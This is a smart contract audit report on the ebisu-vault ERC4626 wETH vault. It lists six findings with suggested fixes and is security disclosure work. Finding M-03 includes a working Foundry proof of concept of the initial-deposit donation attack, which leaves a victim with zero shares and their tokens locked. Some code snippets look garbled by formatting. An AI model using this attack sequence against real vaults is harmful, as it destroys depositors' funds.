Ebisu Security Review

Pashov Audit Group

Conducted by: Said, immeas

January 17th 2024 - January 19th 2024

Contents

1. About Pashov Audit Group

Pashov Audit Group consists of multiple teams of some of the best smart contract security researchers in the space. Having a combined reported security vulnerabilities count of over 1000, the group strives to create the absolute very best audit journey possible - although 100% security can never be guaranteed, we do guarantee the best efforts of our experienced researchers for your blockchain protocol. Check our previous work here or reach out on Twitter @pashovkrum.

2. Disclaimer

A smart contract security review can never verify the complete absence of vulnerabilities. This is a time, resource and expertise bound effort where we try to find as many vulnerabilities as possible. We can not guarantee 100% security after the review or even if the review will find any problems with your smart contracts. Subsequent security reviews, bug bounty programs and on-chain monitoring are strongly recommended.

3. Introduction

A time-boxed security review of the **ebisu-vault** repository was done by **Pashov Audit Group**, with a focus on the security aspects of the application's smart contracts implementation.

4. About ebisu-vault

The protocol is an ERC4626 points vault for wETH. The time each depositor spent in the vault will be calculated off-chain and used to decide the points accrued to each separate depositor.

5. Risk Classification

Severity	**Impact: High**	**Impact: Medium**	**Impact: Low**
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

5.1. Impact

- High - leads to a significant material loss of assets in the protocol or significantly harms a group of users.
- Medium - only a small amount of funds can be lost (such as leakage of value) or a core functionality of the protocol is affected.
- Low - can lead to any kind of unexpected behavior with some of the protocol's functionalities that's not so critical.

5.2. Likelihood

- High - attack path is possible with reasonable assumptions that mimic on-chain conditions, and the cost of the attack is relatively low compared to the amount of funds that can be stolen or lost.
- Medium - only a conditionally incentivized attack vector, but still relatively likely.
- Low - has too many or too unlikely assumptions or requires a significant stake by the attacker with little or no incentive.

5.3. Action required for severity levels

- Critical - Must fix as soon as possible (if already deployed)
- High - Must fix (before deployment if not already deployed)
- Medium - Should fix
- Low - Could fix

6. Security Assessment Summary

review commit hash **-** **39db13fe1e74602693c63a4d716da581e2597319**

fixes review commit hash **-** **55ed087b07ec1bef0ce6236c0a6f89b348330b51**

Scope

The following smart contracts were in scope of the audit:

- `Vault`
- `VaultCap`
- `VaultShare`
- `interfaces/**`

7. Executive Summary

Over the course of the security review, Said, immeas engaged with Ebisu finance to review ebisu-vault. In this period of time a total of **6** issues were uncovered.

Protocol Summary

Protocol Name	ebisu-vault
Repository	https://github.com/ebisufinance/ebisu-vault
Date	January 17th 2024 - January 19th 2024
Protocol Type	ERC4626 vault

Findings Count

Severity	Amount
Medium	3
Low	3
Total Findings	**6**

Summary of Findings

ID	Title	Severity	Status
[M-01]	maxTotalDeposits is not checked properly inside _beforeDeposit.	Medium	Resolved
[M-02]	setTVLLimits incorrectly assigns _newMaxTotalDeposits to maxPerDeposit instead of maxTotalDeposits.	Medium	Resolved
[M-03]	Initial griefing attack possible	Medium	Acknowledged
[L-01]	getTVLLimits will return the wrong value due to variable shadowing.	Low	Resolved
[L-02]	maxMint should return shares corresponding to maxPerDeposit.	Low	Resolved
[L-03]	lack of slippage protection for deposit/mint and withdraw/redeem	Low	Acknowledged

8. Findings

8.1. Medium Findings

[M-01] `maxTotalDeposits` is not checked properly inside `_beforeDeposit`.

Severity

Impact: Medium, Because it will allow user to deposit more than `maxTotalDeposits`.

Likelihood: Medium, Because it doesn't require a specific scenario, the `deposit`/`mint` action at some point can deposit more than `maxTotalDeposits`.

Description

Ebisu vault implements a `_beforeDeposit` check before users `deposit`/`mint` to ensure it does not exceed the configured `maxPerDeposit` and `maxTotalDeposits`.

```
function deposit(
      uint256assets,
      addressreceiver
    ) public virtual override returns (uint256
      // require(assets <= maxDeposit
      //(receiver), "ERC4626: deposit more than max");
>>    _beforeDeposit(assets);

      uint256 shares = previewDeposit(assets);
      _deposit(_msgSender(), receiver, assets, shares);

      return shares;
    }
```

However, in the current `_beforeDeposit` implementation, the check against `maxTotalDeposits` only verifies the token balance inside the vault and does not consider the `assets` that will be deposited by users.

```
function _beforeDeposit(uint256 assets) internal virtual {
        require(
          assets<=maxPerDeposit,
          "Vault:depositamountexceedsper-depositcap"
        );
>>      require(_tokenBalance
  () <= maxTotalDeposits, "Vault: deposit amount exceeds total cap");
    }
```

This will allow users to deposit assets that could surpass the `maxTotalDeposits` value.

Recommendations

Consider `assets` that will be deposited by users when checking against `maxTotalDeposits`.

```
function _beforeDeposit(uint256 assets) internal virtual {
        require(
          assets<=maxPerDeposit,
          "Vault:depositamountexceedsper-depositcap"
        );
-        require(_tokenBalance
- () <= maxTotalDeposits, "Vault: deposit amount exceeds total cap");
+        require(_tokenBalance
+ () + assets <= maxTotalDeposits, "Vault: deposit amount exceeds total cap");
    }
```

[M-02] `setTVLLimits` incorrectly assigns `_newMaxTotalDeposits` to `maxPerDeposit` instead of `maxTotalDeposits`.

Severity

Impact: Medium, Because the cap raiser cannot update `maxTotalDeposits` and will wrongly update `maxPerDeposit` with `_newMaxTotalDeposits`.

Likelihood: Medium, Because it will happened every time cap raiser want to update TVL limits.

Description

Current implementation of `setTVLLimits` is incorrectly assigns `_newMaxTotalDeposits` to `maxPerDeposit` instead of `maxTotalDeposits`.

```
function setTVLLimits(
      uint256_newMaxPerDeposit,
      uint256_newMaxTotalDeposits
    ) external onlyCapRaiser(
        require(
          _newMaxPerDeposit<=_newMaxTotalDeposits,
          "newMaxPerDepositexceedsnewMaxTotalDeposits"
        );

        maxPerDeposit = _newMaxPerDeposit;
>>      maxPerDeposit = _newMaxTotalDeposits;

        emit MaxPerDepositUpdated(maxPerDeposit, _newMaxPerDeposit);
        emit MaxTotalDepositsUpdated(maxTotalDeposits, _newMaxTotalDeposits);
    }
```

Recommendations

Assign `_newMaxTotalDeposits` to `maxTotalDeposits` instead of `maxPerDeposit`.

```
function setTVLLimits(
      uint256_newMaxPerDeposit,
      uint256_newMaxTotalDeposits
    ) external onlyCapRaiser(
        require(
          _newMaxPerDeposit<=_newMaxTotalDeposits,
          "newMaxPerDepositexceedsnewMaxTotalDeposits"
        );

        maxPerDeposit = _newMaxPerDeposit;
-       maxPerDeposit = _newMaxTotalDeposits;
+       maxTotalDeposits = _newMaxTotalDeposits;

        emit MaxPerDepositUpdated(maxPerDeposit, _newMaxPerDeposit);
        emit MaxTotalDepositsUpdated(maxTotalDeposits, _newMaxTotalDeposits);
    }
```

[M-03] Initial griefing attack possible

Severity

Impact: High, as the victim loses their funds

Likelihood: Low, as it comes at a cost for the attacker

Description

The famous initial deposit attack is largely mitigated by the `+1` done in the asset/shares conversion. However, doing this attack can cause some strange behavior that could grief users (at high cost of the attacker) and leave the vault in a weird state:

Here's a PoC showing the impacts, can be added to `Deposit.t.sol`:

```
Vault vault;
    MockERC20 asset;

    address bob = makeAddr('bob');

    function setUp() public {
        asset = new MockERC20();
        vault = new Vault(100e18,100e18,asset);

        asset.mint(address(this), 10e18 + 9);
        asset.mint(bob,1e18);
    }

    function test_initialSupplyManipulation() public {
        // mint a small number of shares
        // (9 + 1 = 10) makes math simpler
        asset.approve(address(vault),9);
        vault.deposit(9, address(this));

        // do a large donation
        asset.transfer(address(vault), 10e18);

        // shares per assets is now manipulated
        assertEq(1e18+1,vault.convertToAssets(1));

        // victim stakes in vault
        vm.startPrank(bob);
        asset.approve(address(vault), 1e18);
        vault.deposit(1e18, bob);
        vm.stopPrank();

        // due to manipulation they receive 0 shares
        assertEq(0,vault.balanceOf(bob));

        // attacker redeems their shares
        vault.redeem(vault.balanceOf(address(this)), address(this), address
          (this));

        // even though the attacker loses 0.1 tokens
        assertEq(9.9e18 + 9,asset.balanceOf(address(this)));
        // the vicims tokens are lost and locked in the contract
        assertEq(1.1e18,asset.balanceOf(address(vault)));
    }
```

As you can see the attacker needs to pay `0.1e18` of assets for the attack. But they have effectively locked the victims `1e18` tokens in the contract.

Even though this is not profitable for the attacker it will leave the vault in a weird state and the victim will still have lost their tokens.

Recommendations

Consider mitigating this with an initial deposit of a small amount. This is the most common and easy way to make sure this is not possible, as long as it is an substantial amount it will make this attack too costly.

8.2. Low Findings

[L-01] `getTVLLimits` will return the wrong value due to variable shadowing.

The `getTVLLimits` function's local state variables (`maxPerDeposit` and `maxTotalDeposits`) are using the same names as the global state variables. This variable shadowing will cause the returned value to be 0, instead of the expected global state values for `maxPerDeposit` and `maxTotalDeposits`. Update the function and remove the local state variable declarations so that the function will return the expected value.

```
-    function getTVLLimits() external view returns
- (uint256 maxPerDeposit, uint256 maxTotalDeposits) {
+    function getTVLLimits() external view returns (uint256, uint256) {
        return (maxPerDeposit, maxTotalDeposits);
    }
```

[L-02] `maxMint` should return shares corresponding to `maxPerDeposit`.

`maxMint` currently returns `type(uint256).max`, which is incorrect. When users deposit to the vault, it checks if the `assets` deposited do not exceed `maxPerDeposit`. Instead of returning `type(uint256).max`, `maxMint` should return the shares corresponding to `maxPerDeposit`.

```
function maxMint(address) public view virtual override returns (uint256) {
-         return type(uint256).max;
+         _convertToShares(maxPerDeposit, Math.Rounding.Down);
    }
```

[L-03] lack of slippage protection for `deposit`/`mint` and `withdraw`/`redeem`

`deposit`/`withdraw`'s calculated shares and `mint`/`redeem`'s calculated assets for users highly depend on the current total assets and total supply inside the Ebisu vault, which can change in value, impacting the result of shares/assets calculation. Consider creating a router/helper contract or functions that wrap these functions, providing slippage checks.